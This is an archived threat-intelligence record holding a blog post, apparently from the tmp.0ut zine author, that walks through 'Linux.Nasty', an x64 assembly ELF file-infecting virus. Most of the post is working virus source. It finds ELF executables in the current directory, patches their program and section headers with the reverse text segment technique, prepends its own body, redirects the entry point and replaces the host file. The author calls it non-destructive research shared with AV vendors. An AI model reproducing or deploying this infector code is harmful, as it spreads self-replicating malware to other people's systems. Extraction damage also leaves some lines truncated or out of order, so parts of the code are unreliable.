{
	"id": "07fc87b8-4dae-4aa7-a96a-117fc3a30529",
	"created_at": "2026-09-08T02:02:46.904923Z",
	"updated_at": "2026-11-22T02:20:36.873038Z",
	"deleted_at": null,
	"sha1_hash": "d6189d2b766f310804fa43aad019bb3c5df16f97",
	"title": "Linux.Nasty: Assembly x64 ELF virus",
	"llm_title": "Linux.Nasty: Assembly x64 ELF virus",
	"authors": "Guilherme Thomazi",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 467428,
	"plain_text": "https://www.guitmz.com/linux-nasty-elf-virus/\n\nLinux.Nasty: Assembly x64 ELF virus\n\nBy Guilherme Thomazi\n\nPublished: 2022-05-18 · Archived: 2026-09-08 02:01:55 UTC\n\nOverview\n\nThis code was originally published in the first issue of tmp.0ut zine - an ELF Research Group founded by me and\n\na super talented group of friends in early 2021. This project was finished literally minutes before the deadline we\n\nset. Living on the edge!\n\nIn general, it took me around a couple of months to complete it, most of the time was dedicated to its core\n\ninfection routine since the auxiliary sections are common file I/O operations that I’m already familiar with. It was\n\nsomewhat more challenging than Linux.Midrashim as the technique used here is not as trivial to implement and I\n\nwant to thank everyone that helped me debug the final version. It was great to have those sessions with all of you,\n\nI learned a lot.\n\nThis is the fruit of an internal project we had in mind back then. Create an Assembly version of the most common\n\nELF infection techniques out there for demonstration and research purposes.\n\nLinux.Midrashim was my first one (PT_NOTE -\u003e PT_LOAD technique).\n\nLinux.Nasty (Reverse Text Segment technique).\n\nAs always (again), the payload is non-destructive, detection is easy and samples were shared with relevant AV\n\ncompanies before release.\n\nHow it works\n\nLinux.Nasty  is a 64 bits Linux infector that targets ELF files in the current directory (non recursively). It uses\n\nthe  Reverse Text Segment  infection technique and will only work on regular ELF executables (the design of this\n\nmethod, unfortunately, prevents it from working with PIE). Quoting chapter 4 of the book Learning Linux Binary\n\nAnalysis by Ryan elfmaster O’Neill, which is awesome and you should check it out:\n\n\"The idea is that a virus or parasite can make room for its code by extending the text segment in reverse. The\n\nprogram header for the text segment will look strange if you know what you're looking for.\"\n\nHere’s the infected file layout (taken from the book mentioned above, slightly modified - full image):\n\nPage 1 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\nThis project was inspired largely by elfmasters Skeksi but the algorithm is slightly modified. Also check the\n\noriginal paper by Silvio Cesare.\n\nCode\n\nThe virus must be assembled with FASM x64 and its core functionality consists of:\n\nReserving space on stack to store some values in memory;\n\nUsing actual Assembly structs (not like in Linux.Midrashim where I simply used the stack without any\n\nAssembly syntax). Improves readability without affecting its functionality in general;\n\nLoop through files in the current directory, checking for targets for infection;\n\nTry to infect target file (map it to memory, check if it is a good candidate for infection, etc);\n\nContinue looping the directory until no more infection targets are available, then exit;\n\nThe code could be somewhat unreliable as of time of writing because it was a bit rushed so you might need\n\nto fix a thing or two before using it on a different system much than the one I used for development (FASM\n\n1.73.27 on Linux 5.11.14-gentoo).\n\nThe full code with comments is available at https://github.com/guitmz/nasty and we’ll now go over each step\n\nabove with a bit more detail.\n\nIf you need help understanding Linux system calls parameters, feel free to visit my new (work in progress)\n\nwebsite: https://syscall.sh and use the API I created recently, which you can find the documentation at\n\nhttps://api.syscall.sh/swagger/index.html.\n\nFirst things first\n\nFor the stack buffer, I like to use the  r15  register and add the comments below for reference when browsing the\n\ncode.\n\n; Stack buffer:\n; r13       = target temp file fd\n\nPage 2 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\n; r14       = target mmap addr\n\n; r15       = STAT\n\n; r15 + 150 = patched jmp to OEP\n\n; r15 + 200 = DIRENT.d_name\n\n; r15 + 500 = directory size\n\n; r15 + 600 = DIRENT\n\nThen we have the structs definitions, they will be loaded in the stack later with the help of the aforementioned\n\nr15  register.\n\nstruc DIRENT {\n\n.d_ino          rq 1\n\n.d_off          rq 1\n\n.d_reclen       rw 1\n\n.d_type         rb 1\n\nlabel .d_name   byte\n\n}\n\nvirtual at 0\n\nDIRENT DIRENT\n\nsizeof.DIRENT = $ - DIRENT\n\nend virtual\n\nstruc STAT {\n\n.st_dev         rq 1\n\n.st_ino         rq 1\n\n.st_nlink       rq 1\n\n.st_mode        rd 1\n\n.st_uid         rd 1\n\n.st_gid         rd 1\n\n.pad0           rb 4\n\n.st_rdev        rq 1\n\n.st_size        rq 1\n\n.st_blksize     rq 1\n\n.st_blocks      rq 1\n\n.st_atime       rq 1\n\n.st_atime_nsec  rq 1\n\n.st_mtime       rq 1\n\n.st_mtime_nsec  rq 1\n\n.st_ctime       rq 1\n\n.st_ctime_nsec  rq 1\n\n}\n\nvirtual at 0\n\nSTAT STAT\n\nsizeof.STAT = $ - STAT\n\nend virtual\n\nPage 3 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\nstruc EHDR {\n\n.magic      rd  1\n\n.class      rb  1\n\n.data       rb  1\n\n.elfversion rb  1\n\n.os         rb  1\n\n.abiversion rb  1\n\n.pad        rb  7\n\n.type       rb  2\n\n.machine    rb  2\n\n.version    rb  4\n\n.entry      rq  1\n\n.phoff      rq  1\n\n.shoff      rq  1\n\n.flags      rb  4\n\n.ehsize     rb  2\n\n.phentsize  rb  2\n\n.phnum      rb  2\n\n.shentsize  rb  2\n\n.shnum      rb  2\n\n.shstrndx   rb  2\n\n}\n\nvirtual at 0\n\nEHDR EHDR\n\nsizeof.EHDR = $ - EHDR\n\nend virtual\n\nstruc PHDR {\n\n.type   rb  4\n\n.flags  rd  1\n\n.offset rq  1\n\n.vaddr  rq  1\n\n.paddr  rq  1\n\n.filesz rq  1\n\n.memsz  rq  1\n\n.align  rq  1\n\n}\n\nvirtual at 0\n\nPHDR PHDR\n\nsizeof.PHDR = $ - PHDR\n\nend virtual\n\nstruc SHDR {\n\n.name       rb  4\n\n.type       rb  4\n\n.flags      rq  1\n\n.addr       rq  1\n\nPage 4 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\n.offset     rq  1\n\n.size       rq  1\n\n.link       rb  4\n\n.info       rb  4\n\n.addralign  rq  1\n\n.entsize    rq  1\n\n.hdr_size = $ - .name\n\n}\n\nvirtual at 0\n\nSHDR SHDR\n\nsizeof.SHDR = $ - PHDR\n\nend virtual\n\nLet’s reserve the stack space. Going for 2000 bytes this time, then pointing  rsp  to  r15 .\n\nsub rsp, 2000    ; reserving 2000 bytes\n\nmov r15, rsp     ; r15 has the reserved stack buffer address\n\nThere are no mechanisms to detect the first execution (first generation) of the virus in Linux.Nasty. I had no time\n\nto do anything cool and didn’t feel like reusing stuff from other projects.\n\nTarget acquired\n\nFinding infection targets is nothing special, the code is largely the same (at least the logic is very similar) in most\n\nof my projects. We open the current directory in read mode with getdents64 syscall, which will return the number\n\nof entries in it. That goes into the stack buffer.\n\nInteresting fact: according to Linus, this syscall is very expensive.\n\nThe locking is such that only one process can be reading a given directory at any given time. If that\n\nprocess must wait for disk I/O, it sleeps holding the inode semaphore and blocks all other readers - even\n\nif some of theothers could work with parts of the directory which are already in memory.\n\nWhy kernel.org is slow\n\nload_dir:\n\npush \".\"                          ; pushing \".\" to stack (rsp)\n\nmov rdi, rsp                      ; moving \".\" to rdi\n\nmov rsi, O_RDONLY\n\nxor rdx, rdx                      ; not using any flags\n\nmov rax, SYS_OPEN\n\nsyscall                           ; rax contains the fd\n\nmov r8, rax                       ; mov fd to r8 temporarily\n\nmov rdi, rax                      ; move fd to rdi\n\nPage 5 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\nlea rsi, [r15 + 600 + DIRENT]     ; rsi = dirent in stack\n\nmov rdx, DIRENT_BUFSIZE           ; buffer with maximum directory size\n\nmov rax, SYS_GETDENTS64\n\nsyscall\n\nmov r9, rax                       ; r9 now contains the directory entries\n\nmov rdi, r8                       ; load open dir fd from r8\n\nmov rax, SYS_CLOSE                ; close source fd in rdi\n\nsyscall\n\ntest r9, r9                       ; check directory list was successful\n\njs cleanup                        ; if negative code is returned, I failed and should exit\n\nmov qword [r15 + 500], r9         ; [r15 + 500] now holds directory size\n\nxor rcx, rcx                      ; will be the position in the directory entries\n\nLooping through files in the current directory looks like this.\n\nOpen a file (read/write mode);\n\nCopy its file name to the stack buffer;\n\nIf the file cannot be opened, skip it and try the next one.\n\nfile_loop:\n\npush rcx                                                ; preserving rcx (important, used as counter for dir\n\ncmp [rcx + r15 + 600 + DIRENT.d_type], DT_REG           ; check if it's a regular file dirent.d_type\n\njne .continue                                           ; if not, proceed to next file\n\n.open_target:\n\npush rcx\n\nlea rdi, [rcx + r15 + 600 + DIRENT.d_name]          ; dirent.d_name from stack\n\nmov rsi, O_RDWR                                     ; opening target in read write mode\n\nxor rdx, rdx                                        ; not using any flags\n\nmov rax, SYS_OPEN\n\nsyscall\n\ntest rax, rax                                       ; if can't open file, try next one\n\njs .continue                                        ; this also kinda prevents self infection since you\n\nmov r8, rax                                         ; load r8 with source fd from rax\n\nxor rax, rax                                        ; clearing rax, will be used to copy host filename t\n\npop rcx\n\nlea rsi, [rcx + r15 + 600 + DIRENT.d_name]          ; put address into the source index\n\nlea rdi, [r15 + 200]                                ; put address into the destination index (that is in\n\nPage 6 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\n.copy_host_name:\n\nmov al, [rsi]                                   ; copy byte at address in rsi to al\n\ninc rsi                                         ; increment address in rsi\n\nmov [rdi], al                                   ; copy byte in al to address in rdi\n\ninc rdi                                         ; increment address in rdi\n\ncmp al, 0                                       ; see if its an ascii zero\n\njne .copy_host_name                             ; jump back and read next byte if not\n\n...\n\n.continue:\n\npop rcx                                             ; restore rcx, used as counter for directory length\n\nadd cx, [rcx + r15 + 600 + DIRENT.d_reclen]         ; adding directory record length to cx (lower rcx, f\n\ncmp rcx, qword [r15 + 500]                          ; comparing rcx counter with directory records total\n\njne file_loop                                       ; if counter is not the same, continue loop\n\nThe target file is then mapped to memory for further checks and/or manipulation.\n\nGet file information with  fstat ;\n\nMap the file with  mmap ;\n\nCheck if the file is a valid ELF x86_64 binary;\n\nCheck if the file is already infected.\n\n.map_target:\n\nmov rdi, r8                                         ; load source fd to rdi\n\nlea rsi, [r15 + STAT]                               ; load fstat struct to rsi\n\nmov rax, SYS_FSTAT\n\nsyscall                                             ; fstat struct in stack conntains target file informatio\n\nxor rdi, rdi                                        ; operating system will choose mapping destination\n\nmov rsi, [r15 + STAT.st_size]                       ; load rsi with file size from fstat.st_size in stack\n\nmov rdx, PROT_READ or PROT_WRITE                    ; protect RW = PROT_READ (0x01) | PROT_WRITE (0x02)\n\nmov r10, MAP_PRIVATE                                ; pages will be private\n\nxor r9, r9                                          ; offset inside source file (zero means start of source\n\nmov rax, SYS_MMAP\n\nsyscall                                             ; now rax will point to mapped location\n\npush rax                                            ; push mmap addr to stack\n\nmov rdi, r8                                         ; rdi is now target fd\n\nmov rax, SYS_CLOSE                                  ; close source fd in rdi\n\nsyscall\n\npop rax                                             ; restore mmap addr from stack\n\ntest rax, rax                                       ; test if mmap was successful\n\njs .continue                                        ; skip file if not\n\n.is_elf:\n\nPage 7 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\ncmp [rax + EHDR.magic], 0x464c457f                  ; 0x464c457f means .ELF (dword, little-endian)\n\njnz .continue                                       ; not an ELF binary, close and continue to next file if\n\n.is_64:\n\ncmp [rax + EHDR.class], ELFCLASS64                  ; check if target ELF is 64bit\n\njne .continue                                       ; skipt it if not\n\ncmp [rax + EHDR.machine], EM_X86_64                 ; check if target ELF is x86_64 architechture\n\njne .continue                                       ; skip it if not\n\n.is_infected:\n\ncmp dword [rax + EHDR.pad], 0x005a4d54              ; check signature in ehdr.pad (TMZ in little-endian, plu\n\njz .continue                                        ; already infected, close and continue to next file if a\n\nIf all checks pass, calls  infect  routine.\n\n.infection_candidate:\n\ncall infect         ; calls infection routine\n\nCrafting something great\n\nHere lies the core part of the code.\n\nIt starts by loading  r9  to the Program Headers offset based on  rax  (I move this to  r14  to make it easier to\n\nuse since  rax  is required for a bunch of other operations), which now points to the base address of the memory\n\nmapped target file.\n\nr12  points to the Section Headers offset.\n\ninfect:\n\npush rbp                      ; save the stack frame of the caller\n\nmov rbp, rsp                  ; save the stack pointer\n\nmov r14, rax                  ; r14 = pointer to target bytes (memory map address)\n\nmov r9, [r14 + EHDR.phoff]    ; set r9 to offset of PHDRs\n\nmov r12, [r14 + EHDR.shoff]   ; set r12 to offset of SHDRs\n\nxor rbx, rbx                  ; initializing phdr loop counter in rbx\n\nxor rcx, rcx                  ; initializing shdr loop counter in rdx\n\nFor each program header, some checks are performed. We need to patch all  phdrs  and the  .text  segment\n\nrequires special attention.\n\nFirst, verify if its type is  PT_LOAD :\n\nWe assume  PAGE_SIZE  to be 4096 bytes here but ideally it should be calculated dynamically.\n\nPage 8 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\nif yes, is it the  .text  segment?\n\nif we got it, patch it following the Reverse Text Segment method, slightly modified in this case for\n\ndemonstration:\n\n1.  p_vaddr  is decreased by  2 * PAGE_SIZE ;\n\n2.  p_filesz  is increased by  2 * PAGE_SIZE ;\n\n3.  p_memsz  is increased by  2 * PAGE_SIZE ;\n\n4.  p_offset  is decreased by  PAGE_SIZE ;\n\nif not, we just increase this header  p_offset  by  PAGE_SIZE .\n\n.loop_phdr:\n\ncmp [r14 + r9 + PHDR.type], PT_LOAD               ; check if phdr.type is PT_LOAD\n\njnz .not_txt_segment                              ; if not, patch it as needed\n\ncmp [r14 + r9 + PHDR.flags], PF_R or PF_X         ; check if PT_LOAD is text segment\n\njnz .not_txt_segment                              ; if not, patch it as needed\n\n.txt_segment:\n\nsub [r14 + r9 + PHDR.vaddr], 2 * PAGE_SIZE    ; decrease p_vaddr by 2 times PAGE_SIZE\n\nadd [r14 + r9 + PHDR.filesz], 2 * PAGE_SIZE   ; increase p_filesz by 2 times PAGE_SIZE\n\nadd [r14 + r9 + PHDR.memsz], 2 * PAGE_SIZE    ; increase p_memsz by 2 times PAGE_SIZE\n\nsub [r14 + r9 + PHDR.offset], PAGE_SIZE       ; decrease p_offset by PAGE_SIZE\n\nmov r8, [r14 + r9 + PHDR.vaddr]               ; contains .text segment patched vaddr, will be used to pa\n\njmp .next_phdr                                ; proceed to next phdr\n\n.not_txt_segment:\n\nadd [r14 + r9 + PHDR.offset], PAGE_SIZE       ; patching p_offset of phdrs that are not the .text segmen\n\n.next_phdr:\n\ninc bx                                            ; increase phdr bx counter\n\ncmp bx, word [r14 + EHDR.phnum]                   ; check if we looped through all phdrs already\n\njge .loop_shdr                                    ; exit loop if yes\n\nadd r9w, word [r14 + EHDR.phentsize]              ; otherwise, add current ehdr.phentsize into r9w\n\njnz .loop_phdr                                    ; read next phdr\n\nSection headers also require their offsets to be increased by  PAGE_SIZE . Let’s do this now.\n\n.loop_shdr:\n\nadd [r14 + r12 + SHDR.offset], PAGE_SIZE    ; increase shdr.offset by PAGE_SIZE\n\n.next_shdr:\n\ninc cx                                      ; increase shdr cx counter\n\ncmp cx, word [r14 + EHDR.shnum]             ; check if we looped through all shdrs already\n\njge .create_temp_file                       ; exit loop if yes\n\nPage 9 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\nadd r12w, word [r14 + EHDR.shentsize]       ; otherwise, add current ehdr.shentsize into r12w\n\njnz .loop_shdr                              ; read next shdr\n\nBefore continuing with patching the ELF header, we create a temporary file named  .nty.tmp  which will contain\n\nour final infected target. There are other ways to do this, explore at your leisure.\n\n.create_temp_file:\n\npush 0\n\nmov rax, 0x706d742e79746e2e     ; pushing \".nty.tmp\\0\" to stack\n\npush rax                        ; this will be the temporary file name, not great but it's for demonstration\n\nmov rdi, rsp\n\nmov rsi, 755o                   ; -rw-r--r--\n\nmov rax, SYS_CREAT              ; creating temporary file\n\nsyscall\n\ntest rax, rax                   ; check if temporary file creation worked\n\njs .infect_fail                 ; if negative code is returned, I failed and should exit\n\nmov r13, rax                    ; r13 now contains temporary file fd\n\nPatching the ELF header is trivial here, we account for the  phdrs  and  shdrs  changes made earlier. Increasing\n\nphoff  and  shoff  by  PAGE_SIZE  will do.\n\nThe infection signature is then added and the entry point is modified to point to the patched  .text  segment.\n\nAs an empty temporary file was already created, the patched  ehdr  is now going to be written to it at position 0.\n\n.patch_ehdr:\n\nmov r10, [r14 + EHDR.entry]               ; set host OEP to r10\n\nadd [r14 + EHDR.phoff], PAGE_SIZE         ; increment ehdr-\u003ephoff by PAGE_SIZE\n\nadd [r14 + EHDR.shoff], PAGE_SIZE         ; increment ehdr-\u003eshoff by PAGE_SIZE\n\nmov dword [r14 + EHDR.pad], 0x005a4d54    ; add signature in ehdr.pad (TMZ in little-endian, plus trailing z\n\nadd r8, EHDR_SIZE                         ; add EHDR size to r8 (patched .text segment vaddr)\n\nmov [r14 + EHDR.entry], r8                ; set new EP to value of r8\n\nmov rdi, r13                              ; target fd from r13\n\nmov rsi, r14                              ; mmap *buff from r14\n\nmov rdx, EHDR_SIZE                        ; sizeof ehdr\n\nmov rax, SYS_WRITE                        ; write patched ehdr to target host\n\nsyscall\n\nPage 10 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\ncmp rax, 0\n\njbe .infect_fail\n\nRight after the  ehdr , the virus body is added to the temporary file.\n\n.write_virus_body:\n\ncall .delta                   ; the age old trick\n\n.delta:\n\npop rax\n\nsub rax, .delta\n\nmov rdi, r13                  ; target temporary fd from r13\n\nlea rsi, [rax + v_start]      ; load *v_start\n\nmov rdx, V_SIZE               ; virus body size\n\nmov rax, SYS_WRITE\n\nsyscall\n\ncmp rax, 0\n\njbe .infect_fail\n\nAdditionally, a way to give control back to the original target code is required, so a small  jmp  is added (in this\n\ncase, it’s a  push/ret ), which will do just that after the virus execution finishes on an infected file.\n\n.write_patched_jmp:\n\nmov byte [r15 + 150], 0x68          ; 68 xx xx xx xx c3 (this is the opcode for \"push addr\" and \"ret\")\n\nmov dword [r15 + 151], r10d         ; on the stack buffer, prepare the jmp to host EP instruction\n\nmov byte [r15 + 155], 0xc3          ; this is the last thing to run after virus execution, before host takes\n\nmov rdi, r13                        ; r9 contains fd\n\nlea rsi, [r15 + 150]                ; rsi = patched push/ret in stack buffer = [r15 + 150]\n\nmov rdx, 6                          ; size of push/ret\n\nmov rax, SYS_WRITE\n\nsyscall\n\nThe original host code (minus its  ehdr ) can now be placed into the temporary file with  PAGE_SIZE  used as\n\npadding. The length of the code above (6 bytes) also has to be taken into consideration in this step.\n\n.write_everything_else:\n\nmov rdi, r13                        ; get temporary fd from r13\n\nmov rsi, PAGE_SIZE\n\nsub rsi, V_SIZE + 6                 ; rsi = PAGE_SIZE + sizeof(push/ret)\n\nmov rdx, SEEK_CUR\n\nmov rax, SYS_LSEEK                  ; moves fd pointer to position right after PAGE_SIZE + 6 bytes\n\nsyscall\n\nPage 11 of 14\n\nmov rdi, r13\n\nsyscall\n\nsyscall\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\nlea rsi, [r14 + EHDR_SIZE]          ; start from after ehdr on target host\n\nmov rdx, [r15 + STAT.st_size]       ; get size of host file from stack\n\nsub rdx, EHDR_SIZE                  ; subtract EHDR size from it (since we already have written an EHDR)\n\nmov rax, SYS_WRITE                  ; write rest of host file to temporary file\n\nmov rax, SYS_SYNC                   ; commiting filesystem caches to disk\n\nTo finish the infection routine, the target file is unmapped from memory and the crafted temporary file is closed.\n\nThe temporary file is renamed to match the target file name and the routine will return to a previous address to\n\nexecute the payload and some final cleanup code.\n\n.end:\n\nmov rdi, r14                          ; gets mmap address from r14 into rdi\n\nmov rsi, [r15 + STAT.st_size]         ; gets size of host file from stack buffer\n\nmov rax, SYS_MUNMAP                   ; unmapping memory buffer\n\nsyscall\n\nmov rdi, r13                          ; rdi is now temporary file fd\n\nmov rax, SYS_CLOSE                    ; close temporary file fd\n\nsyscall\n\npush 0\n\nmov rax, 0x706d742e79746e2e           ; pushing \".nty.tmp\\0\" to stack\n\npush rax                              ; as you know by now, this should have been done in a better way :)\n\nmov rdi, rsp                          ; get temporary file name from stack into rdi\n\nlea rsi, [r15 + 200]                  ; sets rsi to the address of the host file name from stack buffer\n\nmov rax, SYS_RENAME                   ; replace host file with temporary file (sort of like \"mv tmp_file hos\n\nsyscall\n\nmov rax, 0                            ; infection seems to have worked, set rax to zero as marker\n\nmov rsp, rbp                          ; restore the stack pointer\n\npop rbp                               ; restore the caller's stack frame\n\njmp .infect_ret                       ; returns with success\n\n.infect_fail:\n\nmov rax, 1                            ; infection falied, set rax to 1 and as marker\n\n.infect_ret:\n\nret\n\nCiao\n\nPage 12 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\nThe payload consists of a simple text message, displayed to  stdout . Nothing else.\n\nAfterwards, the virus will “give back” the bytes it reserved in the beginning of its code, clear  rdx  register\n\n(because ABI), and exit.\n\ncall payload                ; by calling payload label, we set msg label address on stack\n\nmsg:\n\ndb 0x4e, 0x61, 0x73, 0x74, 0x79, 0x20, 0x62, 0x79, 0x20, 0x54, 0x4d, 0x5a, 0x20, 0x28, 0x63, 0x29, 0x20, 0x3\n\ndb 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a\n\ndb 0x54, 0x72, 0x69, 0x70, 0x6c, 0x65, 0x20, 0x58, 0x20, 0x72, 0x61, 0x74, 0x65, 0x64, 0x0a\n\ndb 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a\n\ndb 0x4a, 0x75, 0x73, 0x74, 0x69, 0x63, 0x65, 0x2c, 0x20, 0x61, 0x20, 0x77, 0x61, 0x73, 0x74, 0x65, 0x2d, 0x7\n\ndb 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a\n\ndb 0x44, 0x65, 0x65, 0x70, 0x65, 0x72, 0x20, 0x69, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x69, 0x72, 0x7\n\ndb 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a\n\ndb 0x4d, 0x61, 0x6b, 0x69, 0x6e, 0x67, 0x20, 0x62, 0x6f, 0x64, 0x69, 0x65, 0x73, 0x20, 0x68, 0x75, 0x72, 0x7\n\nlen = $-msg\n\npayload:\n\npop rsi                 ; gets msg address from stack into rsi\n\nmov rax, SYS_WRITE\n\nmov rdi, STDOUT         ; display payload\n\nmov rdx, len\n\nsyscall\n\njmp cleanup             ; finishes execution\n\n...\n\ncleanup:\n\nadd rsp, 2000           ; restoring stack so host process can run normally, this also could use some improve\n\nxor rdx, rdx            ; clearing rdx before giving control to host (rdx a function pointer that the applic\n\nv_stop:\n\nxor rdi, rdi            ; exit code 0\n\nmov rax, SYS_EXIT\n\nsyscall\n\nDemo\n\nPage 13 of 14\n\nhttps://www.guitmz.com/linux-nasty-elf-virus/\n\nλ ~/nasty/ ls                                                                                                                                                                                                                                  \nhi.c  Linux.Nasty.asm                                                                                                                                                                                                                          \nλ ~/nasty/ cat hi.c                                                                                                                                                                                                                            \n#include \u003cstdio.h\u003e                                                                                                                                                                                                                             \nint main() {                                                                                                                                                                                                                                   \n   printf(\"Hello, World!\\n\");                                                                                                                                                                                                                  \n   return 0;                                                                                                                                                                                                                                   \n}                                                                                                                                                                                                                                              \nλ ~/nasty/ gcc hi.c -o hi -no-pie                                                                                                                                                                                                              \nλ ~/nasty/ readelf -h hi                                                                                                                                                                                                                       \nELF Header:                                                                                                                                                                                                                                    \n  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00                                                                                                                                                                                     \n  Class:                             ELF64                                                                                                                                                                                                     \n  Data:                              2's complement, little endian                                                                                                                                                                             \n  Version:                           1 (current)                                                                                                                                                                                               \n  OS/ABI:                            UNIX - System V                                                                                                                                                                                           \n  ABI Version:                       0                                                                                                                                                                                                         \n  Type:                              EXEC (Executable file)                                                                                                                                                                                    \n  Machine:                           Advanced Micro Devices X86-64                                                                                                                                                                             \n  Version:                           0x1                                                                                                                                                                                                       \n  Entry point address:               0x401040                                                                                                                                                                                                  \n  Start of program headers:          64 (bytes into file)                                                                                                                                                                                      \n  Start of section headers:          13512 (bytes into file)                                                                                                                                                                                   \n  Flags:                             0x0                                                                                                                                                                                                       \n  Size of this header:               64 (bytes)                                                                                                                                                                                                \n  Size of program headers:           56 (bytes)                                                                                                                                                                                                \n  Number of program headers:         11                                                                                                                                                                                                        \n  Size of section headers:           64 (bytes)                                                                                                                                                                                                \n  Number of section headers:         28                                                                                                                                                                                                        \n  Section header string table index: 27                                                                                                                                                                                                        \nλ ~/nasty/ ./hi                                                                                                                                                                                                                                \nHello, World!                                                                                                                                                                                                                                  \nλ ~/nasty/ fasm Linux.Nasty.asm                                                                                                                                                                                                                \nflat assembler  version 1.73.27  (16384 kilobytes memory)                                                                                                                                                                                      \n3 passes, 1123 bytes.                                                                                                                                                                                                                          \nλ ~/nasty/ echo -n 544d5a00 | xxd -r -p -s +0x9 - Linux.Nasty\n\nOutro\n\nThis was such an amazing project. Not only I was able to learn even more about the ELF format, but I also had\n\npeople that I respect and admire involved.\n\nThis post was also delayed for quite a bit, our zine even had a second release by now. I am so proud of it and I\n\nhope that tmp.0ut continues to thrive and gather people from all around the world that wants to share knowledge\n\nand, more importantly, have fun.\n\nTMZ\n\nSource: https://www.guitmz.com/linux-nasty-elf-virus/\n\nPage 14 of 14",
	"extraction_quality": 0.9777968946705833,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.guitmz.com/linux-nasty-elf-virus/"
	],
	"report_names": [
		"linux-nasty-elf-virus"
	],
	"threat_actors": [],
	"ts_created_at": 1788832966,
	"ts_updated_at": 1795314036,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/d6189d2b766f310804fa43aad019bb3c5df16f97.pdf",
		"text": "https://archive.orkl.eu/d6189d2b766f310804fa43aad019bb3c5df16f97.txt",
		"img": "https://archive.orkl.eu/d6189d2b766f310804fa43aad019bb3c5df16f97.jpg"
	},
	"iocs": [
		{
			"type": "domain",
			"value": "api.syscall.sh",
			"count": 1,
			"flags": [
				"in_url_host",
				"file_like"
			],
			"some_flags": [
				"in_url_host",
				"file_like"
			]
		},
		{
			"type": "domain",
			"value": "github.com",
			"count": 1,
			"flags": [
				"in_url_host"
			],
			"some_flags": [
				"in_url_host"
			]
		},
		{
			"type": "domain",
			"value": "kernel.org",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "domain",
			"value": "syscall.sh",
			"count": 1,
			"flags": [
				"in_url_host",
				"file_like"
			],
			"some_flags": [
				"in_url_host",
				"file_like"
			]
		},
		{
			"type": "domain",
			"value": "www.guitmz.com",
			"count": 15,
			"flags": [
				"in_url_host"
			],
			"some_flags": [
				"in_url_host"
			]
		},
		{
			"type": "url",
			"value": "https://api.syscall.sh/swagger/index.html",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "url",
			"value": "https://github.com/guitmz/nasty",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "url",
			"value": "https://syscall.sh",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "url",
			"value": "https://www.guitmz.com/linux-nasty-elf-virus/",
			"count": 15,
			"flags": [],
			"some_flags": []
		}
	]
}